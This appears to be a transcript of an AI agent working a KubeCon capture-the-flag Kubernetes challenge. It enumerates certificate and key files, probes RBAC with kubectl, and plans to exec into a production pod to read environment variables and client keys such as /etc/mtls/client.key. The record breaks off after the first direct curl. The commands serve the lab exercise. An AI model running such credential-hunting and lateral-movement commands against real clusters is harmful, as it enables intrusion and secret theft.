   188→/usr/share/ca-certificates/mozilla/DigiCert_Trusted_Root_G4.crt
   189→/usr/share/ca-certificates/mozilla/CommScope_Public_Trust_RSA_Root-01.crt
   190→/usr/share/ca-certificates/mozilla/GlobalSign_Root_E46.crt
   191→/usr/share/ca-certificates/mozilla/Certigna.crt
   192→/usr/share/ca-certificates/mozilla/Trustwave_Global_ECC_P256_Certification_Authority.crt
   193→/usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_RootCA_2015.crt
   194→/usr/share/ca-certificates/mozilla/ISRG_Root_X2.crt
   195→/usr/share/ca-certificates/mozilla/D-TRUST_EV_Root_CA_1_2020.crt
   196→/usr/share/ca-certificates/mozilla/SZAFIR_ROOT_CA2.crt
   197→/usr/share/ca-certificates/mozilla/UCA_Extended_Validation_Root.crt
   198→/usr/share/ca-certificates/mozilla/certSIGN_Root_CA_G2.crt
   199→/usr/share/ca-certificates/mozilla/ISRG_Root_X1.crt
   200→/usr/share/ca-certificates/mozilla/GlobalSign_Root_R46.crt
   201→/usr/share/ca-certificates/mozilla/AC_RAIZ_FNMT-RCM.crt
   202→/usr/share/ca-certificates/mozilla/Security_Communication_RootCA2.crt
   203→/usr/share/ca-certificates/mozilla/Certum_Trusted_Root_CA.crt
   204→/usr/share/ca-certificates/mozilla/SSL.com_EV_Root_Certification_Authority_RSA_R2.crt
   205→/usr/share/ca-certificates/mozilla/CommScope_Public_Trust_ECC_Root-02.crt
   206→/usr/share/ca-certificates/mozilla/Actalis_Authentication_Root_CA.crt
   207→/usr/share/ca-certificates/mozilla/DigiCert_TLS_ECC_P384_Root_G5.crt
   208→/usr/share/ca-certificates/mozilla/Microsec_e-Szigno_Root_CA_2009.crt
   209→/usr/share/ca-certificates/mozilla/SecureSign_RootCA11.crt
   210→/usr/share/ca-certificates/mozilla/GTS_Root_R1.crt
   211→/usr/share/ca-certificates/mozilla/Telia_Root_CA_v2.crt
   212→/usr/share/ca-certificates/mozilla/CFCA_EV_ROOT.crt
   213→/usr/share/ca-certificates/mozilla/Security_Communication_Root_CA.crt
   214→/usr/share/ca-certificates/mozilla/Amazon_Root_CA_4.crt
   215→/usr/share/ca-certificates/mozilla/COMODO_RSA_Certification_Authority.crt
   216→/usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_G2.crt
   217→/usr/share/ca-certificates/mozilla/GlobalSign_Root_CA.crt
   218→/usr/share/ca-certificates/mozilla/Starfield_Root_Certificate_Authority_-_G2.crt
   219→/usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_3.crt
   220→/usr/share/ca-certificates/mozilla/D-TRUST_BR_Root_CA_1_2020.crt
   221→/usr/share/ca-certificates/mozilla/emSign_Root_CA_-_G1.crt
   222→/usr/share/ca-certificates/mozilla/emSign_ECC_Root_CA_-_G3.crt
   223→/usr/share/ca-certificates/mozilla/ANF_Secure_Server_Root_CA.crt
   224→/usr/share/ca-certificates/mozilla/GLOBALTRUST_2020.crt
   225→/usr/share/ca-certificates/mozilla/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.crt
   226→/usr/share/ca-certificates/mozilla/IdenTrust_Commercial_Root_CA_1.crt
   227→/usr/share/ca-certificates/mozilla/SSL.com_TLS_RSA_Root_CA_2022.crt
   228→/usr/share/ca-certificates/mozilla/vTrus_Root_CA.crt
   229→/usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R5.crt
   230→/usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_G3.crt
   231→/usr/share/ca-certificates/mozilla/Atos_TrustedRoot_2011.crt
   232→/usr/local/share/ca-certificates
   233→/usr/sbin/update-ca-certificates
   234→/root/.kube/cache/discovery/10.96.0.1_443/certificates.k8s.io
   235→/tmp/client.key
   236→/tmp/client.crt
   237→/tmp/c.crt
   238→/tmp/c.key
   239→/var/lib/dpkg/triggers/update-ca-certificates-fresh
   240→/var/lib/dpkg/triggers/update-ca-certificates
   241→/var/lib/dpkg/info/ca-certificates.templates
   242→/var/lib/dpkg/info/ca-certificates.triggers
   243→/var/lib/dpkg/info/ca-certificates.config
   244→/var/lib/dpkg/info/ca-certificates.postrm
   245→/var/lib/dpkg/info/ca-certificates.md5sums
   246→/var/lib/dpkg/info/ca-certificates.list
   247→/var/lib/dpkg/info/ca-certificates.postinst
   248→/run/secrets
   249→/run/secrets/kubernetes.io/serviceaccount/ca.crt
   250→/run/secrets/kubernetes.io/serviceaccount/..2026_03_25_10_51_23.1223040441/ca.crt
   251→/etc/ca-certificates.conf
   252→/etc/ca-certificates
   253→/etc/ssl/certs
   254→/etc/ssl/certs/CFCA_EV_ROOT.pem
   255→/etc/ssl/certs/OISTE_WISeKey_Global_Root_GB_CA.pem
   256→/etc/ssl/certs/Security_Communication_RootCA3.pem
   257→/etc/ssl/certs/Certigna_Root_CA.pem
   258→/etc/ssl/certs/Certum_EC-384_CA.pem
   259→/etc/ssl/certs/SSL.com_Root_Certification_Authority_ECC.pem
Thinking
Read
{
  "file_path": "/home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bzep1vzu9.txt",
  "offset": 280,
  "limit": 100
}
   280→/etc/ssl/certs/GTS_Root_R1.pem
   281→/etc/ssl/certs/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.pem
   282→/etc/ssl/certs/XRamp_Global_CA_Root.pem
   283→/etc/ssl/certs/Baltimore_CyberTrust_Root.pem
   284→/etc/ssl/certs/HiPKI_Root_CA_-_G1.pem
   285→/etc/ssl/certs/DigiCert_Global_Root_CA.pem
   286→/etc/ssl/certs/Buypass_Class_2_Root_CA.pem
   287→/etc/ssl/certs/ca-certificates.crt
   288→/etc/ssl/certs/QuoVadis_Root_CA_1_G3.pem
   289→/etc/ssl/certs/CommScope_Public_Trust_ECC_Root-02.pem
   290→/etc/ssl/certs/Certum_Trusted_Network_CA.pem
   291→/etc/ssl/certs/Atos_TrustedRoot_2011.pem
   292→/etc/ssl/certs/Amazon_Root_CA_4.pem
   293→/etc/ssl/certs/Hongkong_Post_Root_CA_3.pem
   294→/etc/ssl/certs/Secure_Global_CA.pem
   295→/etc/ssl/certs/AffirmTrust_Commercial.pem
   296→/etc/ssl/certs/TrustAsia_Global_Root_CA_G4.pem
   297→/etc/ssl/certs/SSL.com_EV_Root_Certification_Authority_ECC.pem
   298→/etc/ssl/certs/Starfield_Root_Certificate_Authority_-_G2.pem
   299→/etc/ssl/certs/Certainly_Root_E1.pem
   300→/etc/ssl/certs/e-Szigno_Root_CA_2017.pem
   301→/etc/ssl/certs/certSIGN_Root_CA_G2.pem
   302→/etc/ssl/certs/SwissSign_Gold_CA_-_G2.pem
   303→/etc/ssl/certs/emSign_ECC_Root_CA_-_G3.pem
   304→/etc/ssl/certs/DigiCert_Global_Root_G3.pem
   305→/etc/ssl/certs/SSL.com_Root_Certification_Authority_RSA.pem
   306→/etc/ssl/certs/SSL.com_TLS_RSA_Root_CA_2022.pem
   307→/etc/ssl/certs/Entrust_Root_Certification_Authority_-_G2.pem
   308→/etc/ssl/certs/Microsoft_RSA_Root_Certificate_Authority_2017.pem
   309→/etc/ssl/certs/GDCA_TrustAUTH_R5_ROOT.pem
   310→/etc/ssl/certs/SZAFIR_ROOT_CA2.pem
   311→/etc/ssl/certs/UCA_Extended_Validation_Root.pem
   312→/etc/ssl/certs/IdenTrust_Commercial_Root_CA_1.pem
   313→/etc/ssl/certs/GlobalSign_Root_CA_-_R6.pem
   314→/etc/ssl/certs/Entrust.net_Premium_2048_Secure_Server_CA.pem
   315→/etc/ssl/certs/TunTrust_Root_CA.pem
   316→/etc/ssl/certs/Certum_Trusted_Network_CA_2.pem
   317→/etc/ssl/certs/Starfield_Class_2_CA.pem
   318→/etc/ssl/certs/QuoVadis_Root_CA_2_G3.pem
   319→/etc/ssl/certs/Amazon_Root_CA_2.pem
   320→/etc/ssl/certs/ePKI_Root_Certification_Authority.pem
   321→/etc/ssl/certs/certSIGN_ROOT_CA.pem
   322→/etc/ssl/certs/Comodo_AAA_Services_root.pem
   323→/etc/ssl/certs/OISTE_WISeKey_Global_Root_GC_CA.pem
   324→/etc/ssl/certs/Amazon_Root_CA_1.pem
   325→/etc/ssl/certs/GlobalSign_Root_CA.pem
   326→/etc/ssl/certs/DigiCert_Assured_ID_Root_G2.pem
   327→/etc/ssl/certs/AC_RAIZ_FNMT-RCM_SERVIDORES_SEGUROS.pem
   328→/etc/ssl/certs/USERTrust_RSA_Certification_Authority.pem
   329→/etc/ssl/certs/SecureTrust_CA.pem
   330→/etc/ssl/certs/Amazon_Root_CA_3.pem
   331→/etc/ssl/certs/GLOBALTRUST_2020.pem
   332→/etc/ssl/certs/DigiCert_TLS_ECC_P384_Root_G5.pem
   333→/etc/ssl/certs/QuoVadis_Root_CA_3.pem
   334→/etc/ssl/certs/SSL.com_TLS_ECC_Root_CA_2022.pem
   335→/etc/ssl/certs/CommScope_Public_Trust_RSA_Root-01.pem
   336→/etc/ssl/certs/Hellenic_Academic_and_Research_Institutions_RootCA_2015.pem
   337→/etc/ssl/certs/HARICA_TLS_RSA_Root_CA_2021.pem
   338→/etc/ssl/certs/CommScope_Public_Trust_ECC_Root-01.pem
   339→/etc/ssl/certs/vTrus_Root_CA.pem
   340→/etc/ssl/certs/QuoVadis_Root_CA_3_G3.pem
   341→/etc/ssl/certs/GlobalSign_Root_E46.pem
   342→/etc/ssl/certs/Buypass_Class_3_Root_CA.pem
   343→/etc/ssl/certs/SecureSign_RootCA11.pem
   344→/etc/ssl/certs/D-TRUST_Root_Class_3_CA_2_EV_2009.pem
   345→/etc/ssl/certs/AffirmTrust_Networking.pem
   346→/etc/ssl/certs/ACCVRAIZ1.pem
   347→/etc/ssl/certs/BJCA_Global_Root_CA1.pem
   348→/etc/ssl/certs/TWCA_Root_Certification_Authority.pem
   349→/etc/ssl/certs/T-TeleSec_GlobalRoot_Class_3.pem
   350→/etc/ssl/certs/ANF_Secure_Server_Root_CA.pem
   351→/etc/ssl/certs/Certainly_Root_R1.pem
   352→/etc/ssl/certs/Sectigo_Public_Server_Authentication_Root_E46.pem
   353→/etc/ssl/certs/Actalis_Authentication_Root_CA.pem
   354→/etc/ssl/certs/emSign_Root_CA_-_C1.pem
   355→/etc/ssl/certs/emSign_ECC_Root_CA_-_C3.pem
   356→/etc/ssl/certs/Starfield_Services_Root_Certificate_Authority_-_G2.pem
   357→/etc/ssl/certs/Trustwave_Global_ECC_P384_Certification_Authority.pem
   358→/etc/ssl/certs/DigiCert_Assured_ID_Root_G3.pem
   359→/etc/ssl/certs/Security_Communication_ECC_RootCA1.pem
   360→/etc/ssl/certs/DigiCert_Assured_ID_Root_CA.pem
   361→/etc/ssl/certs/UCA_Global_G2_Root.pem
   362→/etc/ssl/certs/AC_RAIZ_FNMT-RCM.pem
   363→/etc/ssl/certs/COMODO_ECC_Certification_Authority.pem
   364→/etc/ssl/certs/Microsec_e-Szigno_Root_CA_2009.pem
   365→/etc/ssl/certs/TrustAsia_Global_Root_CA_G3.pem
   366→/etc/ssl/certs/T-TeleSec_GlobalRoot_Class_2.pem
   367→/etc/ssl/certs/AffirmTrust_Premium_ECC.pem
   368→/etc/ssl/certs/AffirmTrust_Premium.pem
   369→/etc/ssl/certs/Entrust_Root_Certification_Authority_-_G4.pem
   370→/etc/ssl/certs/TeliaSonera_Root_CA_v1.pem
   371→/etc/ssl/certs/Go_Daddy_Root_Certificate_Authority_-_G2.pem
   372→/etc/ssl/certs/IdenTrust_Public_Sector_Root_CA_1.pem
   373→/etc/ssl/certs/DigiCert_Trusted_Root_G4.pem
   374→/etc/ssl/certs/D-TRUST_BR_Root_CA_1_2020.pem
   375→/etc/ssl/certs/Atos_TrustedRoot_Root_CA_RSA_TLS_2021.pem
   376→/etc/ssl/certs/DigiCert_TLS_RSA4096_Root_G5.pem
   377→/etc/ssl/certs/CommScope_Public_Trust_RSA_Root-02.pem
   378→/etc/ssl/certs/Certum_Trusted_Root_CA.pem
   379→/etc/ssl/certs/Sectigo_Public_Server_Authentication_Root_R46.pem
Read
{
  "file_path": "/home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bzep1vzu9.txt",
  "offset": 400,
  "limit": 100
}
   400→/etc/ssl/certs/CA_Disig_Root_R2.pem
   401→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== MOUNTED VOLUMES ==="
   402→[?2004l=== MOUNTED VOLUMES ===
   403→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# mount | grep -v cgroup | grep -v proc | grep -v syys | grep -v tmpfs
   404→[?2004loverlay on / type overlay (rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/117/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/116/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/115/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/114/fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/118/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/118/work,uuid=on,nouserxattr)
   405→devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
   406→mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
   407→/dev/root on /etc/hosts type ext4 (rw,relatime,discard,errors=remount-ro)
   408→/dev/root on /dev/termination-log type ext4 (rw,relatime,discard,errors=remount-ro)
   409→/dev/root on /etc/hostname type ext4 (rw,relatime,discard,errors=remount-ro)
   410→/dev/root on /etc/resolv.conf type ext4 (rw,relatime,discard,errors=remount-ro)
   411→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== HOME ==="
   412→[?2004l=== HOME ===
   413→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# ls -laR /root/ /home/ 2>/dev/null
   414→[?2004l/home/:
   415→total 8
   416→drwxr-xr-x 2 root root 4096 Apr 18  2022 .
   417→drwxr-xr-x 1 root root 4096 Mar 25 10:51 ..
   418→
   419→/root/:
   420→total 32
   421→drwx------ 1 root root  4096 Mar 25 11:04 .
   422→drwxr-xr-x 1 root root  4096 Mar 25 10:51 ..
   423→-rw------- 1 root root 10120 Mar 25 11:09 .bash_history
   424→-rw-r--r-- 1 root root  3106 Oct 15  2021 .bashrc
   425→drwxr-x--- 3 root root  4096 Mar 25 11:04 .kube
   426→-rw-r--r-- 1 root root   161 Jul  9  2019 .profile
   427→
   428→/root/.kube:
   429→total 12
   430→drwxr-x--- 3 root root 4096 Mar 25 11:04 .
   431→drwx------ 1 root root 4096 Mar 25 11:04 ..
   432→drwxr-x--- 4 root root 4096 Mar 25 11:04 cache
   433→
   434→/root/.kube/cache:
   435→total 16
   436→drwxr-x--- 4 root root 4096 Mar 25 11:04 .
   437→drwxr-x--- 3 root root 4096 Mar 25 11:04 ..
   438→drwxr-x--- 3 root root 4096 Mar 25 11:04 discovery
   439→drwxr-x--- 3 root root 4096 Mar 25 11:04 http
   440→
   441→/root/.kube/cache/discovery:
   442→total 12
   443→drwxr-x---  3 root root 4096 Mar 25 11:04 .
   444→drwxr-x---  4 root root 4096 Mar 25 11:04 ..
   445→drwxr-x--- 31 root root 4096 Mar 25 11:04 10.96.0.1_443
   446→
   447→/root/.kube/cache/discovery/10.96.0.1_443:
   448→total 132
   449→drwxr-x--- 31 root root 4096 Mar 25 11:04 .
   450→drwxr-x---  3 root root 4096 Mar 25 11:04 ..
   451→drwxr-x---  3 root root 4096 Mar 25 11:04 admissionregistration.k8s.io
   452→drwxr-x---  3 root root 4096 Mar 25 11:04 apiextensions.k8s.io
   453→drwxr-x---  3 root root 4096 Mar 25 11:04 apiregistration.k8s.io
   454→drwxr-x---  3 root root 4096 Mar 25 11:04 apps
   455→drwxr-x---  3 root root 4096 Mar 25 11:04 authentication.k8s.io
   456→drwxr-x---  3 root root 4096 Mar 25 11:04 authorization.k8s.io
   457→drwxr-x---  4 root root 4096 Mar 25 11:04 autoscaling
   458→drwxr-x---  3 root root 4096 Mar 25 11:04 batch
   459→drwxr-x---  3 root root 4096 Mar 25 11:04 certificates.k8s.io
   460→drwxr-x---  3 root root 4096 Mar 25 11:04 coordination.k8s.io
   461→drwxr-x---  3 root root 4096 Mar 25 11:04 crd.projectcalico.org
   462→drwxr-x---  3 root root 4096 Mar 25 11:04 discovery.k8s.io
   463→drwxr-x---  3 root root 4096 Mar 25 11:04 events.k8s.io
   464→drwxr-x---  3 root root 4096 Mar 25 11:04 flowcontrol.apiserver.k8s.io
   465→drwxr-x---  3 root root 4096 Mar 25 11:04 gateway.envoyproxy.io
   466→drwxr-x---  6 root root 4096 Mar 25 11:04 gateway.networking.k8s.io
   467→drwxr-x---  3 root root 4096 Mar 25 11:04 gateway.networking.x-k8s.io
   468→drwxr-x---  4 root root 4096 Mar 25 11:04 linkerd.io
   469→drwxr-x---  3 root root 4096 Mar 25 11:04 networking.k8s.io
   470→drwxr-x---  3 root root 4096 Mar 25 11:04 node.k8s.io
   471→drwxr-x---  3 root root 4096 Mar 25 11:04 policy
   472→drwxr-x---  6 root root 4096 Mar 25 11:04 policy.linkerd.io
   473→drwxr-x---  3 root root 4096 Mar 25 11:04 policy.networking.k8s.io
   474→drwxr-x---  3 root root 4096 Mar 25 11:04 rbac.authorization.k8s.io
   475→drwxr-x---  3 root root 4096 Mar 25 11:04 resource.k8s.io
   476→drwxr-x---  3 root root 4096 Mar 25 11:04 scheduling.k8s.io
   477→-rw-rw----  1 root root 5750 Mar 25 11:04 servergroups.json
   478→drwxr-x---  3 root root 4096 Mar 25 11:04 storage.k8s.io
   479→drwxr-x---  2 root root 4096 Mar 25 11:04 v1
   480→drwxr-x---  4 root root 4096 Mar 25 11:04 workload.linkerd.io
   481→
   482→/root/.kube/cache/discovery/10.96.0.1_443/admissionregistration.k8s.io:
   483→total 12
   484→drwxr-x---  3 root root 4096 Mar 25 11:04 .
   485→drwxr-x--- 31 root root 4096 Mar 25 11:04 ..
   486→drwxr-x---  2 root root 4096 Mar 25 11:04 v1
   487→
   488→/root/.kube/cache/discovery/10.96.0.1_443/admissionregistration.k8s.io/v1:
   489→total 12
   490→drwxr-x--- 2 root root 4096 Mar 25 11:04 .
   491→drwxr-x--- 3 root root 4096 Mar 25 11:04 ..
   492→-rw-rw---- 1 root root 1338 Mar 25 11:04 serverresources.json
   493→
   494→/root/.kube/cache/discovery/10.96.0.1_443/apiextensions.k8s.io:
   495→total 12
   496→drwxr-x---  3 root root 4096 Mar 25 11:04 .
   497→drwxr-x--- 31 root root 4096 Mar 25 11:04 ..
   498→drwxr-x---  2 root root 4096 Mar 25 11:04 v1
   499→
Thinking
$ Bash
Check configmaps, secrets, pods in production, and Linkerd policies
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo "=== CONFIGMAPS ==="
kubectl get configmaps -n default 2>&1
echo "=== SECRETS DEFAULT ==="
kubectl get secrets -n default 2>&1
echo "=== CONFIGMAPS ALL ==="
kubectl get configmaps -A 2>&1
echo "=== PODS PRODUCTION ==="
kubectl get pods -n production -o wide 2>&1
echo "=== LINKERD POLICIES ==="
kubectl get authorizationpolicies -A -o yaml 2>&1
kubectl get meshtlsauthentications -A -o yaml 2>&1
kubectl get servers -A -o yaml 2>&1
exit
SSHEOF
_  _  _  ____  ____  _  _  _   _  _    __         __   ____   __   _  _  _  _  ____  
( \/ \/ )(  __)/ ___)/ )( \(_) (  ( \  / _\  ___  / _\ (  _ \ /  \ / )( \(  ( \(  _ \ 
 )    (   ) _) \___ \) __ ( )( /    / ( (_ \(___)/    \ )   /( () )) \/ (/    / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__)  \__/      \_/\_/(_)\_) \__/ \____/\_)__)(____/

Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)

Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

To begin your heist, knock on the front door of the Envoy Gateway IP

export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP

The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.

Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.

echo "=== CONFIGMAPS ==="
kubectl get configmaps -n default 2>&1
echo "=== SECRETS DEFAULT ==="
kubectl get secrets -n default 2>&1
echo "=== CONFIGMAPS ALL ==="
kubectl get configmaps -A 2>&1
echo "=== PODS PRODUCTION ==="
kubectl get pods -n production -o wide 2>&1
echo "=== LINKERD POLICIES ==="
kubectl get authorizationpolicies -A -o yaml 2>&1
kubectl get meshtlsauthentications -A -o yaml 2>&1
kubectl get servers -A -o yaml 2>&1
exit
echo "=== CONFIGMAPS ==="
kubectl get configmaps -n default 2>&1
echo "=== SECRETS DEFAULT ==="
kubectl get secrets -n default 2>&1
echo "=== CONFIGMAPS ALL ==="
kubectl get configmaps -A 2>&1
echo "=== PODS PRODUCTION ==="
kubectl get pods -n production -o wide 2>&1
echo "=== LINKERD POLICIES ==="
kubectl get authorizationpolicies -A -o yaml 2>&1
kubectl get meshtlsauthentications -A -o yaml 2>&1
kubectl get servers -A -o yaml 2>&1
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== CONFIGMAPS ==="
[?2004l=== CONFIGMAPS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get configmaps -n default 2>&1
[?2004lError from server (Forbidden): configmaps is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "configmaps" in API group "" in the namespace "default"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== SECRETS DEFAULT ==="
[?2004l=== SECRETS DEFAULT ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get secrets -n default 2>&1
[?2004lError from server (Forbidden): secrets is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "secrets" in API group "" in the namespace "default"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== CONFIGMAPS ALL ==="
[?2004l=== CONFIGMAPS ALL ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get configmaps -A 2>&1
[?2004lError from server (Forbidden): configmaps is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "configmaps" in API group "" at the cluster scope
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== PODS PRODUCTION ==="
[?2004l=== PODS PRODUCTION ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get pods -n production -o wide 2>&1
[?2004lNAME                        READY   STATUS    RESTARTS   AGE   IP               NODE     NOMINATED NODE   READINESS GATES
receiver-794df886d7-8f427   3/3     Running   0          19m   192.168.84.131   node-1   <none>           <none>
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== LINKERD POLICIES ==="
[?2004l=== LINKERD POLICIES ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get authorizationpolicies -A -o yaml 2>&1 ]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get authorizationpolicies -A -o yaml 2>&1
[?2004lapiVersion: v1
items: []
kind: List
metadata:
  resourceVersion: ""
Error from server (Forbidden): authorizationpolicies.policy.linkerd.io is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "authorizationpolicies" in API group "policy.linkerd.io" at the cluster scope
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get meshtlsauthentications -A -o yaml 2>&11
[?2004lapiVersion: v1
items: []
kind: List
metadata:
  resourceVersion: ""
Error from server (Forbidden): meshtlsauthentications.policy.linkerd.io is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "meshtlsauthentications" in API group "policy.linkerd.io" at the cluster scope
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get servers -A -o yaml 2>&1
[?2004lapiVersion: v1
items: []
kind: List
metadata:
  resourceVersion: ""
Error from server (Forbidden): servers.policy.linkerd.io is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "servers" in API group "policy.linkerd.io" at the cluster scope
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004lexit
command terminated with exit code 1
Connection to 35.179.133.134 closed.
Thinking

Let me try accessing the backend service directly (bypassing the gateway) and check what the production pod has.

$ Bash
Try direct service access and exec into production pod
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo "=== DIRECT BACKEND ==="
curl -s http://10.104.138.143:8080 2>&1
echo "=== DIRECT RECEIVER ==="
curl -s http://10.101.36.19:8080 2>&1
echo "=== DIRECT SUPERSECRET ==="
curl -s http://10.106.216.226:8080 2>&1
echo "=== PROD POD DESCRIBE ==="
kubectl get pods -n production -o yaml 2>&1 | head -80
echo "=== EXEC INTO PROD ==="
kubectl exec -n production receiver-794df886d7-8f427 -c receiver -- ls /tmp/ 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c receiver -- env 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c receiver -- cat /etc/mtls/client.key 2>/dev/null 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c receiver -- find / -name "*.key" -o -name "*.pem" 2>/dev/null 2>&1 | head -20
exit
SSHEOF
_  _  _  ____  ____  _  _  _   _  _    __         __   ____   __   _  _  _  _  ____  
( \/ \/ )(  __)/ ___)/ )( \(_) (  ( \  / _\  ___  / _\ (  _ \ /  \ / )( \(  ( \(  _ \ 
 )    (   ) _) \___ \) __ ( )( /    / ( (_ \(___)/    \ )   /( () )) \/ (/    / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__)  \__/      \_/\_/(_)\_) \__/ \____/\_)__)(____/

Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)

Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

To begin your heist, knock on the front door of the Envoy Gateway IP

export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP

The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.

Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.

echo "=== DIRECT BACKEND ==="
curl -s http://10.104.138.143:8080 2>&1
